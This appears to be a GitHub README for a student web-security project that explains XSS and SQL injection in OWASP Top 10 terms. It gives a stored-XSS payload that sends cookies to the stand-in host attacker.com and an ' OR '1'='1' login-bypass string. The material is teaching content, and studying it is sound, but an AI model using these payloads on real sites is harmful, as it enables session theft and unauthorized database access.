Skip to content

TrexterX17/web-vulnerability-mitigation-Faraz-Ahmed

Repository files navigation

Security Vulnerability Assessment and Mitigation in Web Applications

This project involves identifying, analyzing, and addressing security vulnerabilities within web applications.

The primary objective is to assess the application for common security risks such as SQL injection, Cross-Site Scripting (XSS) and Command Injection.

Performed systematic evaluations aligned with OWASP Top Ten guidelines to detect and prioritize vulnerabilities based on their potential impact and exploitability.

Enhanced the web application’s overall security posture, minimizing risks associated with common vulnerabilities and reinforcing its defences against potential cyber threats.


What is the OWASP Top 10?

The OWASP Top 10 is a list of the most critical security risks to web applications, maintained by the Open Web Application Security Project (OWASP). It serves as a baseline for secure coding and risk assessment practices. SQL Injection and XSS vulnerabilities are included in the list due to their prevalence and the significant impact they can have when exploited.


1. Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) allows attackers to inject malicious scripts into web pages viewed by other users. These scripts can steal sensitive information, hijack user sessions, or perform actions on behalf of the user.

In a Stored XSS attack, malicious input is permanently stored on the server (e.g., in a database, log files, or other storage mechanisms). When other users access the affected page, the malicious script is executed in their browsers. This is how and XSS attack works:

  1. An attacker injects a malicious script into a web application input field, such as a comment box, review section, or profile field.
  2. The input is stored on the server without proper sanitization or validation.
  3. Other users view the affected content, triggering the execution of the malicious script.

An example would be of a vulnerable application that allows users to comment or give reviews for a product on an E-Commerce website which would then be attacked using the following:

<script>document.location='http://attacker.com?cookie='+document.cookie;</script>

2. SQL Injection

SQL Injection (SQLi) occurs when an attacker manipulates the SQL queries executed by a web application by injecting malicious input. This allows unauthorized access to the database, potentially leading to data leakage, unauthorized changes, or even complete database compromise. This is how SQL Injection works:

  1. User input is not properly sanitized or validated.
  2. The input is directly embedded into an SQL query.
  3. The attacker manipulates the input to execute malicious queries.

An example would be injected to the query:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

A mailicious input would be:

' OR '1'='1'; --

About

My project for Software Security on Web application vulnerabilities and security .

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors